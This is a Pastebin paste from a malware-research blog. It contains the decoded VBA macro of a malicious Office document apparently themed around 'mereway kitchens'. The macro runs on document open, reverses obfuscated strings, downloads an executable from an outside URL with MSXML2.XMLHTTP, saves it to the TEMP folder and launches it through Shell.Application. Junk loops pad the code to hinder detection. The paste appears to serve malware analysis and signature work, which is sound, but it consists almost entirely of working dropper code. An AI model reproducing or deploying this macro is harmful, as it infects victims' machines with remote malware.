Advertisement
Sanesecurity

mereway kitchens decoded 2

Jan 23rd, 2015
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.47 KB | None | 0 0
  1. http://sanesecurity.blogspot.co.uk/
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. Private Const n2EsR = "exe.fsdGHi\"
  14. Private Const QVWdP = "PMET"
  15. Private Const URkPCd0U4a = "exe.nib/sj/or.emoh.uratilimg.www//:ptth"
  16. Private Const ZCmjC6En6E = n2EsR
  17. Private Const U0G5AN6C1IZ = QVWdP
  18. Private Const AK2awpFLc = "noitacilppa.llehS"
  19. Private Const l4qPvk = ""
  20. Private Const VTtsivoEya = "TEG"
  21. Private Const I7Av = "PTTHLMX.2LMXSM"
  22.  
  23. Sub dsfsdwer()
  24. werwersfdf
  25. Dim LyCcPNHa As Integer
  26. LyCcPNHa = 667
  27. Do While LyCcPNHa < 667 + 10
  28. LyCcPNHa = LyCcPNHa + 1: DoEvents
  29. Loop
  30. Dim uOrwJGp As Integer
  31. uOrwJGp = 1231
  32. Do While uOrwJGp < 1231 + 10
  33. uOrwJGp = uOrwJGp + 1: DoEvents
  34. Loop
  35. End Sub
  36. Sub AutoOpen()
  37. dsfsdwer
  38. Dim EUYbSrUzjfTo As Integer
  39. For EUYbSrUzjfTo = 973 To 973 + 5
  40. DoEvents
  41. Next EUYbSrUzjfTo
  42. Dim uBgssHL As Integer
  43. uBgssHL = 1286
  44. Do While uBgssHL < 1286 + 10
  45. uBgssHL = uBgssHL + 1: DoEvents
  46. Loop
  47. End Sub
  48. Sub Workbook_Open()
  49. dsfsdwer
  50. Dim VRRQUGz As Integer
  51. VRRQUGz = 141
  52. Do While VRRQUGz < 141 + 10
  53. VRRQUGz = VRRQUGz + 1: DoEvents
  54. Loop
  55. Dim UdSyHHGLipw As Integer
  56. For UdSyHHGLipw = 1811 To 1811 + 5
  57. DoEvents
  58. Next UdSyHHGLipw
  59. End Sub
  60. Function FRkfhy(ByVal vWebFile As String, ByVal pNJKBjkdsf As String) As Boolean
  61. Dim dJSAYGtdSR As Long, GYUbjsdf As Long, oJhuidsf() As Byte
  62. Dim rfdQp As Integer
  63. rfdQp = 1636
  64. Do While rfdQp < 1636 + 10
  65. rfdQp = rfdQp + 1: DoEvents
  66. Loop
  67. Dim RfSFgCBd As Integer
  68. For RfSFgCBd = 1319 To 1319 + 5
  69. DoEvents
  70. Next RfSFgCBd
  71.  
  72. Dim aIwRH As Integer
  73. For aIwRH = 586 To 586 + 5
  74. DoEvents
  75. Next aIwRH
  76. Dim RxGGF As Integer
  77. For RxGGF = 1168 To 1168 + 5
  78. DoEvents
  79. Next RxGGF
  80.  
  81. Dim sDxPyUEPVRd As Integer
  82. For sDxPyUEPVRd = 1313 To 1313 + 5
  83. DoEvents
  84. Next sDxPyUEPVRd
  85. Dim kCzQsQQ As Integer
  86. For kCzQsQQ = 395 To 395 + 5
  87. DoEvents
  88. Next kCzQsQQ
  89. Set NUIHusdfsd = CreateObject(SrpQPF(I7Av))
  90. Dim EQwQic As Integer
  91. EQwQic = 512
  92. Do While EQwQic < 512 + 10
  93. EQwQic = EQwQic + 1: DoEvents
  94. Loop
  95. Dim YuGUCTFJYVPifB As Integer
  96. YuGUCTFJYVPifB = 2060
  97. Do While YuGUCTFJYVPifB < 2060 + 10
  98. YuGUCTFJYVPifB = YuGUCTFJYVPifB + 1: DoEvents
  99. Loop
  100. NUIHusdfsd.Open SrpQPF(VTtsivoEya), vWebFile, False
  101. Dim bTEmoIlqDA As Integer
  102. For bTEmoIlqDA = 942 To 942 + 5
  103. DoEvents
  104. Next bTEmoIlqDA
  105. Dim iZPdoQVJvQt As Integer
  106. iZPdoQVJvQt = 1413
  107. Do While iZPdoQVJvQt < 1413 + 10
  108. iZPdoQVJvQt = iZPdoQVJvQt + 1: DoEvents
  109. Loop
  110. NUIHusdfsd.Send
  111. Dim pmUiH As Integer
  112. pmUiH = 324
  113. Do While pmUiH < 324 + 10
  114. pmUiH = pmUiH + 1: DoEvents
  115. Loop
  116. Dim zTJAOZHHuh As Integer
  117. zTJAOZHHuh = 2123
  118. Do While zTJAOZHHuh < 2123 + 10
  119. zTJAOZHHuh = zTJAOZHHuh + 1: DoEvents
  120. Loop
  121.  
  122. Dim HkoCyhv As Integer
  123. For HkoCyhv = 316 To 316 + 5
  124. DoEvents
  125. Next HkoCyhv
  126. Dim hQNcmUUHuU As Integer
  127. hQNcmUUHuU = 371
  128. Do While hQNcmUUHuU < 371 + 10
  129. hQNcmUUHuU = hQNcmUUHuU + 1: DoEvents
  130. Loop
  131.  
  132. Dim ADGyYm As Integer
  133. For ADGyYm = 1918 To 1918 + 5
  134. DoEvents
  135. Next ADGyYm
  136. Dim mPueaOjaPeo As Integer
  137. mPueaOjaPeo = 1860
  138. Do While mPueaOjaPeo < 1860 + 10
  139. mPueaOjaPeo = mPueaOjaPeo + 1: DoEvents
  140. Loop
  141.  
  142. Dim UyLKbfhZyNF As Integer
  143. UyLKbfhZyNF = 551
  144. Do While UyLKbfhZyNF < 551 + 10
  145. UyLKbfhZyNF = UyLKbfhZyNF + 1: DoEvents
  146. Loop
  147. Dim bVQUaKDK As Integer
  148. bVQUaKDK = 23
  149. Do While bVQUaKDK < 23 + 10
  150. bVQUaKDK = bVQUaKDK + 1: DoEvents
  151. Loop
  152. oJhuidsf = NUIHusdfsd.responseBody
  153. Dim JSrmOQxRQfUA As Integer
  154. JSrmOQxRQfUA = 461
  155. Do While JSrmOQxRQfUA < 461 + 10
  156. JSrmOQxRQfUA = JSrmOQxRQfUA + 1: DoEvents
  157. Loop
  158. Dim AkuAwIJfgpNu As Integer
  159. For AkuAwIJfgpNu = 977 To 977 + 5
  160. DoEvents
  161. Next AkuAwIJfgpNu
  162.  
  163. Dim QpmIf As Integer
  164. QpmIf = 336
  165. Do While QpmIf < 336 + 10
  166. QpmIf = QpmIf + 1: DoEvents
  167. Loop
  168. Dim FgpBexcAS As Integer
  169. FgpBexcAS = 83
  170. Do While FgpBexcAS < 83 + 10
  171. FgpBexcAS = FgpBexcAS + 1: DoEvents
  172. Loop
  173.  
  174. Dim SEIjJUOhe As Integer
  175. SEIjJUOhe = 253
  176. Do While SEIjJUOhe < 253 + 10
  177. SEIjJUOhe = SEIjJUOhe + 1: DoEvents
  178. Loop
  179. Dim SQynHyp As Integer
  180. SQynHyp = 1353
  181. Do While SQynHyp < 1353 + 10
  182. SQynHyp = SQynHyp + 1: DoEvents
  183. Loop
  184. GYUbjsdf = FreeFile
  185. Dim kCQqkaFOPNSD As Integer
  186. For kCQqkaFOPNSD = 1839 To 1839 + 5
  187. DoEvents
  188. Next kCQqkaFOPNSD
  189. Dim pAFCNftBC As Integer
  190. For pAFCNftBC = 2150 To 2150 + 5
  191. DoEvents
  192. Next pAFCNftBC
  193. If Dir(pNJKBjkdsf) <> "" Then Kill pNJKBjkdsf
  194. Dim uLxBbPMGZVt As Integer
  195. For uLxBbPMGZVt = 1955 To 1955 + 5
  196. DoEvents
  197. Next uLxBbPMGZVt
  198. Dim fHMaQFSssT As Integer
  199. fHMaQFSssT = 764
  200. Do While fHMaQFSssT < 764 + 10
  201. fHMaQFSssT = fHMaQFSssT + 1: DoEvents
  202. Loop
  203. Open pNJKBjkdsf For Binary Access Write As #GYUbjsdf
  204. Dim orjIlP As Integer
  205. orjIlP = 156
  206. Do While orjIlP < 156 + 10
  207. orjIlP = orjIlP + 1: DoEvents
  208. Loop
  209. Dim txArQ As Integer
  210. For txArQ = 2127 To 2127 + 5
  211. DoEvents
  212. Next txArQ
  213. Put #GYUbjsdf, , oJhuidsf
  214. Dim OGgInYSHcS As Integer
  215. OGgInYSHcS = 2321
  216. Do While OGgInYSHcS < 2321 + 10
  217. OGgInYSHcS = OGgInYSHcS + 1: DoEvents
  218. Loop
  219. Dim JidFHoINV As Integer
  220. JidFHoINV = 100
  221. Do While JidFHoINV < 100 + 10
  222. JidFHoINV = JidFHoINV + 1: DoEvents
  223. Loop
  224. Close #GYUbjsdf
  225. Dim CfvciBJyfaaZ As Integer
  226. For CfvciBJyfaaZ = 443 To 443 + 5
  227. DoEvents
  228. Next CfvciBJyfaaZ
  229. Dim GnHMUKqzz As Integer
  230. For GnHMUKqzz = 2113 To 2113 + 5
  231. DoEvents
  232. Next GnHMUKqzz
  233.  
  234. Dim RPmVgmiuL As Integer
  235. RPmVgmiuL = 1353
  236. Do While RPmVgmiuL < 1353 + 10
  237. RPmVgmiuL = RPmVgmiuL + 1: DoEvents
  238. Loop
  239. Dim iviUvRQtbse As Integer
  240. iviUvRQtbse = 19
  241. Do While iviUvRQtbse < 19 + 10
  242. iviUvRQtbse = iviUvRQtbse + 1: DoEvents
  243. Loop
  244. Set NUIHusdfsd = Nothing
  245. Dim DrrRbnPjO As Integer
  246. DrrRbnPjO = 915
  247. Do While DrrRbnPjO < 915 + 10
  248. DrrRbnPjO = DrrRbnPjO + 1: DoEvents
  249. Loop
  250. Dim jcMuwQtyLVrE As Integer
  251. For jcMuwQtyLVrE = 2400 To 2400 + 5
  252. DoEvents
  253. Next jcMuwQtyLVrE
  254. Dim pHUIisdf As Object
  255. Dim MPHgJomTIdSJ As Integer
  256. MPHgJomTIdSJ = 301
  257. Do While MPHgJomTIdSJ < 301 + 10
  258. MPHgJomTIdSJ = MPHgJomTIdSJ + 1: DoEvents
  259. Loop
  260. Dim eVvKC As Integer
  261. eVvKC = 1379
  262. Do While eVvKC < 1379 + 10
  263. eVvKC = eVvKC + 1: DoEvents
  264. Loop
  265. Set pHUIisdf = CreateObject(SrpQPF(AK2awpFLc))
  266. Dim dtjme As Integer
  267. dtjme = 330
  268. Do While dtjme < 330 + 10
  269. dtjme = dtjme + 1: DoEvents
  270. Loop
  271. Dim sCYlZ As Integer
  272. For sCYlZ = 317 To 317 + 5
  273. DoEvents
  274. Next sCYlZ
  275. pHUIisdf.Open Environ(SrpQPF(U0G5AN6C1IZ)) & SrpQPF(ZCmjC6En6E)
  276. Dim BaDigNCQNE As Integer
  277. BaDigNCQNE = 1956
  278. Do While BaDigNCQNE < 1956 + 10
  279. BaDigNCQNE = BaDigNCQNE + 1: DoEvents
  280. Loop
  281. Dim xhORmOShr As Integer
  282. For xhORmOShr = 947 To 947 + 5
  283. DoEvents
  284. Next xhORmOShr
  285. End Function
  286.  
  287. Sub werwersfdf()
  288. Dim qvgnuKl As Integer
  289. For qvgnuKl = 172 To 172 + 5
  290. DoEvents
  291. Next qvgnuKl
  292. Dim hQyBVyC As Integer
  293. hQyBVyC = 2326
  294. Do While hQyBVyC < 2326 + 10
  295. hQyBVyC = hQyBVyC + 1: DoEvents
  296. Loop
  297. HUIBuerwfds = SrpQPF(URkPCd0U4a)
  298. Dim LlNsqYMhYOcn As Integer
  299. LlNsqYMhYOcn = 2253
  300. Do While LlNsqYMhYOcn < 2253 + 10
  301. LlNsqYMhYOcn = LlNsqYMhYOcn + 1: DoEvents
  302. Loop
  303. Dim vQeQDe As Integer
  304. vQeQDe = 108
  305. Do While vQeQDe < 108 + 10
  306. vQeQDe = vQeQDe + 1: DoEvents
  307. Loop
  308. FRkfhy HUIBuerwfds, Environ(SrpQPF(U0G5AN6C1IZ)) & SrpQPF(ZCmjC6En6E)
  309. Dim dTisbbN As Integer
  310. dTisbbN = 778
  311. Do While dTisbbN < 778 + 10
  312. dTisbbN = dTisbbN + 1: DoEvents
  313. Loop
  314. Dim aBYVygx As Integer
  315. aBYVygx = 770
  316. Do While aBYVygx < 770 + 10
  317. aBYVygx = aBYVygx + 1: DoEvents
  318. Loop
  319.  
  320. Dim hjbAdHF As Integer
  321. For hjbAdHF = 345 To 345 + 5
  322. DoEvents
  323. Next hjbAdHF
  324. Dim vowanmCGIA As Integer
  325. vowanmCGIA = 1191
  326. Do While vowanmCGIA < 1191 + 10
  327. vowanmCGIA = vowanmCGIA + 1: DoEvents
  328. Loop
  329. End Sub
  330. Function SrpQPF(sstring As String) As String
  331.  
  332. Dim aKRZpPPfUYPo As Integer
  333. aKRZpPPfUYPo = 117
  334. Do While aKRZpPPfUYPo < 117 + 10
  335. aKRZpPPfUYPo = aKRZpPPfUYPo + 1: DoEvents
  336. Loop
  337. Dim JSdYBQjDQQ As Integer
  338. For JSdYBQjDQQ = 1407 To 1407 + 5
  339. DoEvents
  340. Next JSdYBQjDQQ
  341. Dim WF5OIEHGvMF As Long
  342. Dim eEPJcLiRd As Integer
  343. For eEPJcLiRd = 647 To 647 + 5
  344. DoEvents
  345. Next eEPJcLiRd
  346. Dim osRFDxPMj As Integer
  347. For osRFDxPMj = 2134 To 2134 + 5
  348. DoEvents
  349. Next osRFDxPMj
  350. For WF5OIEHGvMF = 0 To Len(sstring) - 1
  351. Dim yjQSnPUifN As Integer
  352. For yjQSnPUifN = 1763 To 1763 + 5
  353. DoEvents
  354. Next yjQSnPUifN
  355. Dim ilogEiMxshB As Integer
  356. For ilogEiMxshB = 137 To 137 + 5
  357. DoEvents
  358. Next ilogEiMxshB
  359. If Len(sstring) > 0 Then
  360. Dim SqwEivuKOQI As Integer
  361. SqwEivuKOQI = 1663
  362. Do While SqwEivuKOQI < 1663 + 10
  363. SqwEivuKOQI = SqwEivuKOQI + 1: DoEvents
  364. Loop
  365. Dim LELqQ As Integer
  366. LELqQ = 1374
  367. Do While LELqQ < 1374 + 10
  368. LELqQ = LELqQ + 1: DoEvents
  369. Loop
  370. SrpQPF = SrpQPF & Right(sstring, 1)
  371. Dim GeZCDkEJ As Integer
  372. GeZCDkEJ = 1490
  373. Do While GeZCDkEJ < 1490 + 10
  374. GeZCDkEJ = GeZCDkEJ + 1: DoEvents
  375. Loop
  376. Dim OyIOKQo As Integer
  377. For OyIOKQo = 861 To 861 + 5
  378. DoEvents
  379. Next OyIOKQo
  380. sstring = Left(sstring, Len(sstring) - 1)
  381. Dim gHedEmDp As Integer
  382. gHedEmDp = 1946
  383. Do While gHedEmDp < 1946 + 10
  384. gHedEmDp = gHedEmDp + 1: DoEvents
  385. Loop
  386. Dim IQeFaE As Integer
  387. For IQeFaE = 1438 To 1438 + 5
  388. DoEvents
  389. Next IQeFaE
  390. End If
  391. Dim FeVReu As Integer
  392. FeVReu = 1380
  393. Do While FeVReu < 1380 + 10
  394. FeVReu = FeVReu + 1: DoEvents
  395. Loop
  396. Dim IbYvfpvrDTU As Integer
  397. IbYvfpvrDTU = 1687
  398. Do While IbYvfpvrDTU < 1687 + 10
  399. IbYvfpvrDTU = IbYvfpvrDTU + 1: DoEvents
  400. Loop
  401. Next WF5OIEHGvMF
  402. Dim vQEVHLmM As Integer
  403. For vQEVHLmM = 2358 To 2358 + 5
  404. DoEvents
  405. Next vQEVHLmM
  406. Dim iBhFQjQUOh As Integer
  407. For iBhFQjQUOh = 1573 To 1573 + 5
  408. DoEvents
  409. Next iBhFQjQUOh
  410. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement